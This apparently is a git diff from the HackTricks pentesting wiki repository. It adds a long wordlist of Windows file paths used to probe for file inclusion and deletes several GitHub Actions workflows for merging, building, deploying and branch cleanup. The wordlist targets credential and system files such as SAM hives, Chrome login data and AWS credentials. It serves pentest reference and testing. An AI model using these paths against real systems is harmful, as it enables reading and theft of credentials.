+C:/users/administrator/appdata/local/google/chrome/user data/default/last session
+C:/users/administrator/appdata/local/google/chrome/user data/default/login data
+C:/users/administrator/appdata/local/google/chrome/user data/default/preferences
+C:/users/administrator/appdata/local/google/chrome/user data/default/secure preferences
+C:/users/administrator/appdata/local/google/chrome/user data/default/top sites
+C:/users/administrator/appdata/Roaming/Microsoft/Windows/PowerShell/PSReadline/ConsoleHost_history.txt
+C:/users/administrator/.aws/config
+C:/users/administrator/.aws/credentials
+C:/users/administrator/desktop/desktop.ini
+C:/users/administrator/desktop/proof.txt
+C:/users/administrator/.elasticbeanstalk/config 
+C:/users/administrator/ntuser.dat
+C:/users/administrator/ntuser.ini
+C:/windows/csc/v2.0.6/pq
+C:/windows/csc/v2.0.6/sm
+C:/windows/debug/netsetup.log
+C:/windows/explorer.exe
+C:/windows/iis5.log
+C:/windows/iis6.log
+C:/windows/iis7.log
+C:/windows/iis8.log
+C:/windows/notepad.exe
+C:/windows/panther/setupinfo
+C:/windows/panther/setupinfo.bak
+C:/windows/panther/sysprep.inf
+C:/windows/panther/sysprep.xml
+C:/windows/panther/unattended.txt
+C:/windows/panther/unattended.xml
+C:/windows/panther/unattend/setupinfo
+C:/windows/panther/unattend/setupinfo.bak
+C:/windows/panther/unattend/sysprep.inf
+C:/windows/panther/unattend/sysprep.xml
+C:/windows/panther/unattend.txt
+C:/windows/panther/unattend/unattended.txt
+C:/windows/panther/unattend/unattended.xml
+C:/windows/panther/unattend/unattend.txt
+C:/windows/panther/unattend/unattend.xml
+C:/windows/panther/unattend.xml
+C:/windows/php.ini
+C:/windows/repair/sam
+C:/windows/repair/security
+C:/windows/repair/software
+C:/windows/repair/system
+C:/windows/system32/config/appevent.evt
+C:/windows/system32/config/default.sav
+C:/windows/system32/config/regback/default
+C:/windows/system32/config/regback/sam
+C:/windows/system32/config/regback/security
+C:/windows/system32/config/regback/software
+C:/windows/system32/config/regback/system
+C:/windows/system32/config/sam
+C:/windows/system32/config/secevent.evt
+C:/windows/system32/config/security.sav
+C:/windows/system32/config/software.sav
+C:/windows/system32/config/system
+C:/windows/system32/config/system.sa
+C:/windows/system32/config/system.sav
+C:/windows/system32/drivers/etc/hosts
+C:/windows/system32/eula.txt
+C:/windows/system32/inetsrv/config/applicationhost.config
+C:/windows/system32/inetsrv/config/schema/aspnet_schema.xml
+C:/windows/system32/license.rtf
+C:/windows/system32/logfiles/httperr/httperr1.log
+C:/windows/system32/sysprep.inf
+C:/windows/system32/sysprepsysprep.inf
+C:/windows/system32/sysprep/sysprep.xml
+C:/windows/system32/sysprepsysprep.xml
+C:/windows/system32/sysprepunattended.txt
+C:/windows/system32/sysprepunattended.xml
+C:/windows/system32/sysprepunattend.txt
+C:/windows/system32/sysprepunattend.xml
+C:/windows/system32/sysprep.xml
+C:/windows/system32/unattended.txt
+C:/windows/system32/unattended.xml
+C:/windows/system32/unattend.txt
+C:/windows/system32/unattend.xml
+C:/windows/system.ini
+C:/windows/temp/
+C:/windows/windowsupdate.log
+C:/windows/win.ini
+C:/winnt/php.ini
+C:/winnt/win.ini
+C:/xampp/apache/bin/php.ini
+C:/xampp/apache/conf/httpd.conf
+C:/xampp/apache/logs/access.log
+C:/xampp/apache/logs/error.log
+C:/xampp/filezillaftp/filezilla server.xml
+C:/xampp/filezillaftp/logs
+C:/xampp/filezillaftp/logs/access.log
+C:/xampp/filezillaftp/logs/error.log
+C:/xampp/mercurymail/logs/access.log
+C:/xampp/mercurymail/logs/error.log
+C:/xampp/mercurymail/mercury.ini
+C:/xampp/mysql/data/mysql.err
+C:/xampp/phpmyadmin/config.inc
+C:/xampp/phpmyadmin/config.inc.php
+C:/xampp/phpmyadmin/phpinfo.php
+C:/xampp/php/php.ini
+C:/xampp/sendmail/sendmail.ini
+C:/xampp/sendmail/sendmail.log
+C:/xampp/tomcat/conf/tomcat-users.xml
+C:/xampp/tomcat/conf/web.xml
+C:/xampp/webalizer/webalizer.conf
+C:/xampp/webdav/webdav.txt
diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml
index 67d6d075cf4..d145fd3c508 100644
--- a/.github/FUNDING.yml
+++ b/.github/FUNDING.yml
@@ -1 +1 @@
-github: carlospolop
+custom: ['https://github.com/sponsors/carlospolop', 'https://www.buymeacoffee.com/carlospolop']
diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md
deleted file mode 100644
index 68ca5efc882..00000000000
--- a/.github/pull_request_template.md
+++ /dev/null
@@ -1,11 +0,0 @@
-You can remove this content before sending the PR:
-
-## Attribution
-We value your knowledge and encourage you to share content. Please ensure that you only upload content that you own or that have permission to share it from the original author (adding a reference to the author in the added text or at the end of the page you are modifying or both). Your respect for intellectual property rights fosters a trustworthy and legal sharing environment for everyone.
-
-
-Thank you for contributing to HackTricks!
-
-
-
-
diff --git a/.github/workflows/auto_merge_approved_prs.yml b/.github/workflows/auto_merge_approved_prs.yml
deleted file mode 100644
index f776811b362..00000000000
--- a/.github/workflows/auto_merge_approved_prs.yml
+++ /dev/null
@@ -1,242 +0,0 @@
-name: Auto Merge Approved PRs
-
-on:
-  schedule:
-    - cron: '0 */1 * * *'  # Every 1 hour
-  workflow_dispatch:  # Allow manual triggering
-
-permissions:
-  contents: write
-  pull-requests: write
-  actions: read
-
-jobs:
-  auto-merge-prs:
-    runs-on: ubuntu-latest
-    
-    steps:
-      - name: Checkout repository
-        uses: actions/checkout@v4
-        with:
-          fetch-depth: 1 # Only need latest commit for PR operations
-          token: ${{ secrets.PAT_TOKEN }}
-
-      - name: Configure git
-        run: |
-          git config --global user.email "action@github.com"
-          git config --global user.name "GitHub Action"
-
-      - name: Install GitHub CLI
-        run: |
-          curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
-          && sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
-          && echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
-          && sudo apt update \
-          && sudo apt install gh -y
-
-      - name: Check for running workflows
-        id: check_workflows
-        run: |
-          gh_with_retry() {
-            local max_attempts=5
-            local base_sleep_seconds=2
-            local attempt=1
-            local stderr_file
-            stderr_file=$(mktemp)
-
-            while true; do
-              if gh "$@" 2>"$stderr_file"; then
-                rm -f "$stderr_file"
-                return 0
-              fi
-
-              local exit_code=$?
-              if [ "$attempt" -ge "$max_attempts" ]; then
-                echo "gh command failed after $max_attempts attempts: gh $*" >&2
-                cat "$stderr_file" >&2
-                rm -f "$stderr_file"
-                return "$exit_code"
-              fi
-
-              local sleep_for=$((base_sleep_seconds * attempt))
-              echo "gh command failed (attempt $attempt/$max_attempts): gh $*" >&2
-              cat "$stderr_file" >&2
-              echo "Retrying in ${sleep_for}s..." >&2
-              sleep "$sleep_for"
-              attempt=$((attempt + 1))
-            done
-          }
-
-          # Get all running workflows except this one
-          running_workflows=$(gh_with_retry run list --status in_progress --json workflowName,name --repo "$GITHUB_REPOSITORY" --jq '.[].name' | grep -v "Auto Merge Approved PRs" | wc -l)
-          echo "running_workflows=$running_workflows" >> $GITHUB_OUTPUT
-          
-          if [ "$running_workflows" -gt 0 ]; then
-            echo "Found $running_workflows running workflows. Exiting to avoid conflicts."
-            echo "should_continue=false" >> $GITHUB_OUTPUT
-          else
-            echo "No other workflows running. Proceeding with auto-merge."
-            echo "should_continue=true" >> $GITHUB_OUTPUT
-          fi
-        env:
-          GH_TOKEN: ${{ secrets.PAT_TOKEN }}
-      
-      - name: Find and merge approved PRs
-        if: steps.check_workflows.outputs.should_continue == 'true'
-        run: |
-          gh_with_retry() {
-            local max_attempts=5
-            local base_sleep_seconds=2
-            local attempt=1
-            local stderr_file
-            stderr_file=$(mktemp)
-
-            while true; do
-              if gh "$@" 2>"$stderr_file"; then
-                rm -f "$stderr_file"
-                return 0
-              fi
-
-              local exit_code=$?
-              if [ "$attempt" -ge "$max_attempts" ]; then
-                echo "gh command failed after $max_attempts attempts: gh $*" >&2
-                cat "$stderr_file" >&2
-                rm -f "$stderr_file"
-                return "$exit_code"
-              fi
-
-              local sleep_for=$((base_sleep_seconds * attempt))
-              echo "gh command failed (attempt $attempt/$max_attempts): gh $*" >&2
-              cat "$stderr_file" >&2
-              echo "Retrying in ${sleep_for}s..." >&2
-              sleep "$sleep_for"
-              attempt=$((attempt + 1))
-            done
-          }
-
-          authorized_user="carlospolop"
-          max_merges=2
-
-          echo "Authorized user: $authorized_user"
-          echo "Looking for PRs with exact comment 'merge' from $authorized_user..."
-
-          # Get all open PRs, paginating through the full result set instead of
-          # relying on `gh pr list`'s default page size.
-          prs=$(gh_with_retry api --paginate "repos/$GITHUB_REPOSITORY/pulls?state=open&per_page=100" | jq -s 'add | map({number, title, url: .html_url, author: {login: .user.login}})')
-
-          if [ "$prs" = "[]" ]; then
-            echo "No open PRs found."
-            exit 0
-          fi
-
-          # Create a temp file to track merge count
-          echo "0" > /tmp/merged_count
-
-          # Process each PR
-          echo "$prs" | jq -r '.[] | @base64' | while IFS= read -r pr_data; do
-            current_count=$(cat /tmp/merged_count)
-            if [ "$current_count" -ge "$max_merges" ]; then
-              echo "Reached maximum merge limit ($max_merges). Stopping."
-              break
-            fi
-
-            pr_info=$(echo "$pr_data" | base64 --decode)
-            pr_number=$(echo "$pr_info" | jq -r '.number')
-            pr_title=$(echo "$pr_info" | jq -r '.title')
-            pr_url=$(echo "$pr_info" | jq -r '.url')
-            pr_author=$(echo "$pr_info" | jq -r '.author.login')
-
-            echo "Checking PR #$pr_number: $pr_title (author: $pr_author)"
-
-            # Special case: allow merge without "merge" comment for Research Update Enhanced PRs by the authorized user
-            eligible_by_title=false
-            if [[ "$pr_title" == "Research Update Enhanced"* && "$pr_author" == "$authorized_user" ]]; then
-              echo "PR #$pr_number qualifies for direct merge based on title and author."
-              eligible_by_title=true
-            fi
-
-            # Check if any comment from carlospolop contains exactly "merge"
-            has_merge_comment=false
-            if [ "$eligible_by_title" != true ]; then
-              # Get all comments for this PR
-              if ! comments=$(gh_with_retry pr view "$pr_number" --json comments --jq '.comments[]' --repo "$GITHUB_REPOSITORY"); then
-                echo "Failed to fetch comments for PR #$pr_number after retries. Skipping PR."
-                continue
-              fi
-
-              # Print all comment authors for debugging
-              echo "Comments in PR #$pr_number:"
-              echo "$comments" | jq -r '"  - Author: " + .author.login + " | Comment: " + (.body | split("\n")[0] | .[0:100])'
-
-              echo "$comments" | jq -r '.author.login + "|" + .body' | while IFS='|' read -r comment_author comment_body; do
-                if [ "$comment_author" = "$authorized_user" ]; then
-                  if echo "$comment_body" | grep -iExq "merge"; then
-                    echo "Found exact 'merge' comment from $authorized_user in PR #$pr_number"
-                    echo "true" > /tmp/has_merge_comment_$pr_number
-                    break
-                  fi
-                fi
-              done
-            fi
-
-            if [ -f "/tmp/has_merge_comment_$pr_number" ]; then
-              has_merge_comment=true
-            fi
-
-            if [ "$has_merge_comment" = true ] || [ "$eligible_by_title" = true ]; then
-              echo "Attempting to merge PR #$pr_number..."
-
-              # Get PR details including head branch
-              if ! pr_details=$(gh_with_retry pr view "$pr_number" --json headRefName,baseRefName --repo "$GITHUB_REPOSITORY"); then
-                echo "Failed to fetch details for PR #$pr_number after retries. Skipping PR."
-                continue
-              fi
-              head_branch=$(echo "$pr_details" | jq -r '.headRefName')
-              base_branch=$(echo "$pr_details" | jq -r '.baseRefName')
-
-              # --- Polling for non-UNKNOWN mergeable status ---
-              max_retries=10
-              retry=0
-              while true; do
-                if ! pr_mergeable=$(gh_with_retry pr view "$pr_number" --json mergeable --jq '.mergeable' --repo "$GITHUB_REPOSITORY"); then
-                  echo "Failed to fetch mergeable status for PR #$pr_number after retries."
-                  pr_mergeable="UNKNOWN"
-                fi
-                if [ "$pr_mergeable" != "UNKNOWN" ]; then
-                  break
-                fi
-                if [ $retry -ge $max_retries ]; then
-                  echo "Timeout: mergeable status is still UNKNOWN after $max_retries retries"
-                  break
-                fi
-                echo "mergeable status UNKNOWN, retrying in 2s..."
-                sleep 2
-                retry=$((retry + 1))
-              done
-
-              if [ "$pr_mergeable" = "MERGEABLE" ]; then
-                if gh pr merge "$pr_number" --merge --delete-branch --repo "$GITHUB_REPOSITORY"; then
-                  echo "Successfully merged PR #$pr_number: $pr_title"
-                  current_count=$(cat /tmp/merged_count)
-                  echo $((current_count + 1)) > /tmp/merged_count
-                else
-                  echo "Failed to merge PR #$pr_number: $pr_title"
-                fi
-              elif [ "$pr_mergeable" = "CONFLICTED" ] || [ "$pr_mergeable" = "CONFLICTING" ]; then
-                echo "PR #$pr_number has conflicts. Skipping auto-merge so it can be resolved manually."
-              else
-                echo "PR #$pr_number is not mergeable (status: $pr_mergeable)"
-              fi
-            else
-              echo "No exact 'merge' comment found from $authorized_user in PR #$pr_number"
-            fi
-
-            rm -f "/tmp/has_merge_comment_$pr_number"
-          done
-
-          final_count=$(cat /tmp/merged_count)
-          echo "Auto-merge process completed. Merged $final_count PRs."
-          rm -f /tmp/merged_count
-
-        env:
-          GH_TOKEN: ${{ secrets.PAT_TOKEN }}
diff --git a/.github/workflows/build_master.yml b/.github/workflows/build_master.yml
deleted file mode 100644
index 193168d6e99..00000000000
--- a/.github/workflows/build_master.yml
+++ /dev/null
@@ -1,221 +0,0 @@
-name: Build Master
-
-on:
-  push:
-    branches:
-      - master
-    paths-ignore:
-      - '.gitignore'
-      - 'book/**'
-  workflow_dispatch:
-
-concurrency: build_master
-
-permissions:
-  packages: write
-  id-token: write
-  contents: write
-
-jobs:
-  run-translation:
-    runs-on: ubuntu-latest
-    container:
-      image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
-    environment: prod
-
-    steps:
-      - name: Checkout code
-        uses: actions/checkout@v4
-        with:
-          fetch-depth: 1 # Only fetch the latest commit for faster cloning
-      
-      # Build the mdBook
-      - name: Build mdBook
-        run: MDBOOK_BOOK__LANGUAGE=en mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
-
-      - name: Post-process SEO artifacts
-        run: |
-          python3 scripts/seo_postprocess.py pages \
-            --book-dir ./book \
-            --site-url https://hacktricks.wiki \
-            --lang en \
-            --default-lang en \
-            --site-name "HackTricks"
-      
-      - name: Install GitHub CLI
-        run: |
-          curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
-          && sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
-          && echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
-          && sudo apt update \
-          && sudo apt install gh -y
-      
-      - name: Push search index to hacktricks-searchindex repo
-        shell: bash
-        env:
-          PAT_TOKEN: ${{ secrets.PAT_TOKEN }}
-        run: |
-          set -euo pipefail
-
-          ASSET="book/searchindex.js"
-          TARGET_REPO="HackTricks-wiki/hacktricks-searchindex"
-          FILENAME="searchindex-en.js"
-
-          if [ ! -f "$ASSET" ]; then
-            echo "Expected $ASSET to exist after build" >&2
-            exit 1
-          fi
-
-          TOKEN="${PAT_TOKEN}"
-          if [ -z "$TOKEN" ]; then
-            echo "No PAT_TOKEN available" >&2
-            exit 1
-          fi
-
-          # Clone the searchindex repo
-          git clone https://x-access-token:${TOKEN}@github.com/${TARGET_REPO}.git /tmp/searchindex-repo
-          
-          cd /tmp/searchindex-repo
-          git config user.name "GitHub Actions"
-          git config user.email "github-actions@github.com"
-          
-          # Compress the searchindex file
-          cd "${GITHUB_WORKSPACE}"
-          gzip -9 -k -f "$ASSET"
-          
-          # Show compression stats
-          ORIGINAL_SIZE=$(wc -c < "$ASSET")
-          COMPRESSED_SIZE=$(wc -c < "${ASSET}.gz")
-          RATIO=$(awk "BEGIN {printf \"%.1f\", ($COMPRESSED_SIZE / $ORIGINAL_SIZE) * 100}")
-          echo "Compression: ${ORIGINAL_SIZE} bytes -> ${COMPRESSED_SIZE} bytes (${RATIO}%)"
-          
-          # XOR encrypt the compressed file
-          KEY='Prevent_Online_AVs_From_Flagging_HackTricks_Search_Gzip_As_Malicious_394h7gt8rf9u3rf9g'
-          cat > /tmp/xor_encrypt.py << 'EOF'
-          import sys
-          key = sys.argv[1]
-          input_file = sys.argv[2]
-          output_file = sys.argv[3]
-          with open(input_file, 'rb') as f:
-              data = f.read()
-          key_bytes = key.encode('utf-8')
-          encrypted = bytearray(len(data))
-          for i in range(len(data)):
-              encrypted[i] = data[i] ^ key_bytes[i % len(key_bytes)]
-          with open(output_file, 'wb') as f:
-              f.write(encrypted)
-          print(f"Encrypted: {len(data)} bytes")
-          EOF
-          python3 /tmp/xor_encrypt.py "$KEY" "${ASSET}.gz" "${ASSET}.gz.enc"
-          
-          # Copy the encrypted .gz version to the searchindex repo
-          cd /tmp/searchindex-repo
-          cp "${GITHUB_WORKSPACE}/${ASSET}.gz.enc" "${FILENAME}.gz"
-          
-          # Stage the updated file
-          git add "${FILENAME}.gz"
-          
-          # Commit and push with retry logic
-          if git diff --staged --quiet; then
-            echo "No changes to commit"
-          else
-            TIMESTAMP=$(date -u +"%Y-%m-%d %H:%M:%S UTC")
-            git commit -m "Update searchindex files - ${TIMESTAMP}"
-            
-            # Retry push up to 20 times with pull --rebase between attempts
-            MAX_RETRIES=20
-            RETRY_COUNT=0
-            while [ $RETRY_COUNT -lt $MAX_RETRIES ]; do
-              if git push origin master; then
-                echo "Successfully pushed on attempt $((RETRY_COUNT + 1))"
-                break
-              else
-                RETRY_COUNT=$((RETRY_COUNT + 1))
-                if [ $RETRY_COUNT -lt $MAX_RETRIES ]; then
-                  echo "Push failed, attempt $RETRY_COUNT/$MAX_RETRIES. Pulling and retrying..."
-                  
-                  # Try normal rebase first
-                  if git pull --rebase origin master 2>&1 | tee /tmp/pull_output.txt; then
-                    echo "Rebase successful, retrying push..."
-                  else
-                    # If rebase fails due to divergent histories (orphan branch reset), re-clone
-                    if grep -q "unrelated histories\|refusing to merge\|fatal: invalid upstream\|couldn't find remote ref" /tmp/pull_output.txt; then
-                      echo "Detected history rewrite, re-cloning repository..."
-                      cd /tmp
-                      rm -rf searchindex-repo
-                      git clone https://x-access-token:${TOKEN}@github.com/${TARGET_REPO}.git searchindex-repo
-                      cd searchindex-repo
-                      git config user.name "GitHub Actions"
-                      git config user.email "github-actions@github.com"
-                      
-                      # Re-copy the .gz version
-                      cp "${GITHUB_WORKSPACE}/${ASSET}.gz" "${FILENAME}.gz"
-                      
-                      git add "${FILENAME}.gz"
-                      TIMESTAMP=$(date -u +"%Y-%m-%d %H:%M:%S UTC")
-                      git commit -m "Update searchindex files - ${TIMESTAMP}"
-                      echo "Re-cloned and re-committed, will retry push..."
-                    else
-                      echo "Rebase failed for unknown reason, retrying anyway..."
-                    fi
-                  fi
-                  
-                  sleep 1
-                else
-                  echo "Failed to push after $MAX_RETRIES attempts"
-                  exit 1
-                fi
-              fi
-            done
-          fi
-          
-          echo "Successfully pushed searchindex files"
-
-
-      # Login in AWs
-      - name: Configure AWS credentials using OIDC
-        uses: aws-actions/configure-aws-credentials@v3
-        with:
-          role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
-          aws-region: us-east-1
-      
-      # Sync the build to S3. mdBook refreshes mtimes on every build, so first
-      # age byte-identical files based on S3 ETags; `s3 sync` then uploads only
-      # genuinely changed/new output while retaining normal --delete behavior.
-      - name: Sync to S3
-        run: |
-          aws s3api list-objects-v2 \
-            --bucket hacktricks-wiki \
-            --prefix en/ \
-            --output json > /tmp/s3-en-manifest.json
-          python3 scripts/mark_unchanged_s3_files.py \
-            --source ./book \
-            --manifest /tmp/s3-en-manifest.json \
-            --remote-prefix en/
-          aws s3 sync ./book s3://hacktricks-wiki/en --delete
-
-      - name: Upload root sitemap index
-        run: |
-          LANGS=$(aws s3api list-objects-v2 --bucket hacktricks-wiki --delimiter / --query 'CommonPrefixes[].Prefix' --output text | tr '\t' '\n' | sed 's:/$::' | grep -E '^[a-z]{2}$' | sort | paste -sd, -)
-          if [ -z "$LANGS" ]; then
-            LANGS="en"
-          fi
-          python3 scripts/seo_postprocess.py index --site-url https://hacktricks.wiki --languages "$LANGS" --output ./sitemap.xml
-          aws s3 cp ./sitemap.xml s3://hacktricks-wiki/sitemap.xml --content-type application/xml --cache-control max-age=300
-
-      - name: Upload root ads.txt
-        run: aws s3 cp ./src/ads.txt s3://hacktricks-wiki/ads.txt --content-type text/plain --cache-control max-age=300
-
-      - name: Upload root robots.txt
-        run: |
-          aws s3 cp ./src/robots.txt s3://hacktricks-wiki/robots.txt --content-type text/plain --cache-control max-age=300
-          aws s3 cp ./src/robots.txt s3://hacktricks-wiki/en/robots.txt --content-type text/plain --cache-control max-age=300
-
-      - name: Invalidate CloudFront HTML and SEO assets
-        run: |
-          # /en/* covers /en/robots.txt and /en/sitemap.xml; only invalidate
-          # root SEO files separately.
-          aws cloudfront create-invalidation \
-            --distribution-id "${{ secrets.CLOUDFRONT_DISTRIBUTION_ID }}" \
-            --paths "/en/*" "/robots.txt" "/sitemap.xml"
-      
diff --git a/.github/workflows/cleanup_branches.yml b/.github/workflows/cleanup_branches.yml
deleted file mode 100644
index 1ee90cd43e6..00000000000
--- a/.github/workflows/cleanup_branches.yml
+++ /dev/null
@@ -1,204 +0,0 @@
-name: Cleanup Merged/Closed PR Branches
-
-on:
-  schedule:
-    - cron: '0 2 * * 0'  # Every Sunday at 2 AM UTC
-  workflow_dispatch:  # Allow manual triggering
-    inputs:
-      dry_run:
-        description: 'Dry run (show what would be deleted without actually deleting)'
-        required: false
-        default: 'false'
-        type: boolean
-
-permissions:
-  contents: write
-  pull-requests: read
-
-jobs:
-  cleanup-branches:
-    runs-on: ubuntu-latest
-    
-    steps:
-      - name: Checkout repository
-        uses: actions/checkout@v4
-        with:
-          fetch-depth: 0  # Need full history to see all branches
-          token: ${{ secrets.PAT_TOKEN }}
-
-      - name: Install GitHub CLI
-        run: |
-          curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
-          && sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
-          && echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
-          && sudo apt update \
-          && sudo apt install gh -y
-
-      - name: Configure git
-        run: |
-          git config --global user.email "action@github.com"
-          git config --global user.name "GitHub Action"
-
-      - name: Cleanup merged/closed PR branches
-        env:
-          GH_TOKEN: ${{ secrets.PAT_TOKEN }}
-        run: |
-          echo "Starting branch cleanup process..."
-          
-          # Check if this is a dry run
-          DRY_RUN="${{ github.event.inputs.dry_run || 'false' }}"
-          if [ "$DRY_RUN" = "true" ]; then
-            echo "🔍 DRY RUN MODE - No branches will actually be deleted"
-            echo ""
-          fi
-          
-          # Define protected branches and patterns
-          protected_branches=(
-            "master"
-            "main"
-          )
-          
-          # Translation branch patterns (any 2-letter combination)
-          translation_pattern="^[a-zA-Z]{2}$"
-          
-          # Get all remote branches except protected ones
-          echo "Fetching all remote branches..."
-          git fetch --all --prune
-          
-          # Get list of all remote branches (excluding HEAD)
-          all_branches=$(git branch -r | grep -v 'HEAD' | sed 's/origin\///' | grep -v '^$')
-          
-          # Get all open PRs to identify branches with open PRs
-          echo "Getting list of open PRs..."
-          open_pr_branches=$(gh pr list --state open --json headRefName --jq '.[].headRefName' | sort | uniq)
-          
-          echo "Open PR branches:"
-          echo "$open_pr_branches"
-          echo ""
-          
-          deleted_count=0
-          skipped_count=0
-          
-          for branch in $all_branches; do
-            branch=$(echo "$branch" | xargs)  # Trim whitespace
-            
-            # Skip if empty
-            if [ -z "$branch" ]; then
-              continue
-            fi
-            
-            echo "Checking branch: $branch"
-            
-            # Check if it's a protected branch
-            is_protected=false
-            for protected in "${protected_branches[@]}"; do
-              if [ "$branch" = "$protected" ]; then
-                echo "  ✓ Skipping protected branch: $branch"
-                is_protected=true
-                skipped_count=$((skipped_count + 1))
-                break
-              fi
-            done
-            
-            if [ "$is_protected" = true ]; then
-              continue
-            fi
-            
-            # Check if it's a translation branch (any 2-letter combination)
-            # Also protect any branch that starts with 2 letters followed by additional content
-            if echo "$branch" | grep -Eq "$translation_pattern" || echo "$branch" | grep -Eq "^[a-zA-Z]{2}[_-]"; then
-              echo "  ✓ Skipping translation/language branch: $branch"
-              skipped_count=$((skipped_count + 1))
-              continue
-            fi
-            
-            # Check if branch has an open PR
-            if echo "$open_pr_branches" | grep -Fxq "$branch"; then
-              echo "  ✓ Skipping branch with open PR: $branch"
-              skipped_count=$((skipped_count + 1))
-              continue
-            fi
-            
-            # Check if branch had a PR that was merged or closed
-            echo "  → Checking PR history for branch: $branch"
-            
-            # Look for PRs from this branch (both merged and closed)
-            pr_info=$(gh pr list --state all --head "$branch" --json number,state,mergedAt --limit 1)
-            
-            if [ "$pr_info" != "[]" ]; then
-              pr_state=$(echo "$pr_info" | jq -r '.[0].state')
-              pr_number=$(echo "$pr_info" | jq -r '.[0].number')
-              merged_at=$(echo "$pr_info" | jq -r '.[0].mergedAt')
-              
-              if [ "$pr_state" = "MERGED" ] || [ "$pr_state" = "CLOSED" ]; then
-                if [ "$DRY_RUN" = "true" ]; then
-                  echo "  🔍 [DRY RUN] Would delete branch: $branch (PR #$pr_number was $pr_state)"
-                  deleted_count=$((deleted_count + 1))
-                else
-                  echo "  ✗ Deleting branch: $branch (PR #$pr_number was $pr_state)"
-                  
-                  # Delete the remote branch
-                  if git push origin --delete "$branch" 2>/dev/null; then
-                    echo "    Successfully deleted remote branch: $branch"
-                    deleted_count=$((deleted_count + 1))
-                  else
-                    echo "    Failed to delete remote branch: $branch"
-                  fi
-                fi
-              else
-                echo "  ✓ Skipping branch with open PR: $branch (PR #$pr_number is $pr_state)"
-                skipped_count=$((skipped_count + 1))
-              fi
-            else
-              # No PR found for this branch - it might be a stale branch
-              # Check if branch is older than 30 days and has no recent activity
-              last_commit_date=$(git log -1 --format="%ct" origin/"$branch" 2>/dev/null || echo "0")
-              
-              if [ "$last_commit_date" != "0" ] && [ -n "$last_commit_date" ]; then
-                # Calculate 30 days ago in seconds since epoch
-                thirty_days_ago=$(($(date +%s) - 30 * 24 * 60 * 60))
-                
-                if [ "$last_commit_date" -lt "$thirty_days_ago" ]; then
-                  if [ "$DRY_RUN" = "true" ]; then
-                    echo "  🔍 [DRY RUN] Would delete stale branch (no PR, >30 days old): $branch"
-                    deleted_count=$((deleted_count + 1))
-                  else
-                    echo "  ✗ Deleting stale branch (no PR, >30 days old): $branch"
-                    
-                    if git push origin --delete "$branch" 2>/dev/null; then
-                      echo "    Successfully deleted stale branch: $branch"
-                      deleted_count=$((deleted_count + 1))
-                    else
-                      echo "    Failed to delete stale branch: $branch"
-                    fi
-                  fi
-                else
-                  echo "  ✓ Skipping recent branch (no PR, <30 days old): $branch"
-                  skipped_count=$((skipped_count + 1))
-                fi
-              else
-                echo "  ✓ Skipping branch (cannot determine age): $branch"
-                skipped_count=$((skipped_count + 1))
-              fi
-            fi
-            
-            echo ""
-          done
-          
-          echo "=================================="
-          echo "Branch cleanup completed!"
-          if [ "$DRY_RUN" = "true" ]; then
-            echo "Branches that would be deleted: $deleted_count"
-          else
-            echo "Branches deleted: $deleted_count"
-          fi
-          echo "Branches skipped: $skipped_count"
-          echo "=================================="
-          
-          # Clean up local tracking branches (only if not dry run)
-          if [ "$DRY_RUN" != "true" ]; then
-            echo "Cleaning up local tracking branches..."
-            git remote prune origin
-          fi
-          
-          echo "Cleanup process finished."
\ No newline at end of file
diff --git a/.github/workflows/cloudfront_invalidate_assets.yml b/.github/workflows/cloudfront_invalidate_assets.yml
deleted file mode 100644
index b79007ecab0..00000000000
--- a/.github/workflows/cloudfront_invalidate_assets.yml
+++ /dev/null
@@ -1,99 +0,0 @@
-name: Invalidate CloudFront on Asset Changes
-
-on:
-  push:
-    branches:
-      - master
-    paths:
-      - 'theme/**/*.css'
-      - 'theme/**/*.js'
-      - 'theme/**/*.hbs'
-  workflow_dispatch:
-
-permissions:
-  id-token: write
-  contents: read
-
-jobs:
-  invalidate:
-    runs-on: ubuntu-latest
-    environment: prod
-
-    steps:
-      - name: Checkout code
-        uses: actions/checkout@v6
-        with:
-          fetch-depth: 2
-
-      - name: Configure AWS credentials using OIDC
-        uses: aws-actions/configure-aws-credentials@v6
-        with:
-          role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
-          aws-region: us-east-1
-
-      - name: Compute invalidation paths
-        id: paths
-        shell: bash
-        run: |
-          set -euo pipefail
-
-          BEFORE="${{ github.event.before }}"
-          AFTER="${{ github.sha }}"
-
-          if [ -z "$BEFORE" ] || [ "$BEFORE" = "0000000000000000000000000000000000000000" ]; then
-            if git rev-parse "${AFTER}^" >/dev/null 2>&1; then
-              BEFORE="${AFTER}^"
-            else
-              BEFORE=""
-            fi
-          fi
-
-          if [ -n "$BEFORE" ]; then
-            git diff --name-only "$BEFORE" "$AFTER" > /tmp/changed_files.txt
-          else
-            git ls-tree --name-only -r "$AFTER" > /tmp/changed_files.txt
-          fi
-
-          mapfile -t files < <(grep -E '^theme/.*\.(css|js|hbs)$' /tmp/changed_files.txt || true)
-          if [ ${#files[@]} -eq 0 ]; then
-            echo "paths=" >> "$GITHUB_OUTPUT"
-            exit 0
-          fi
-
-          invalidate_paths=()
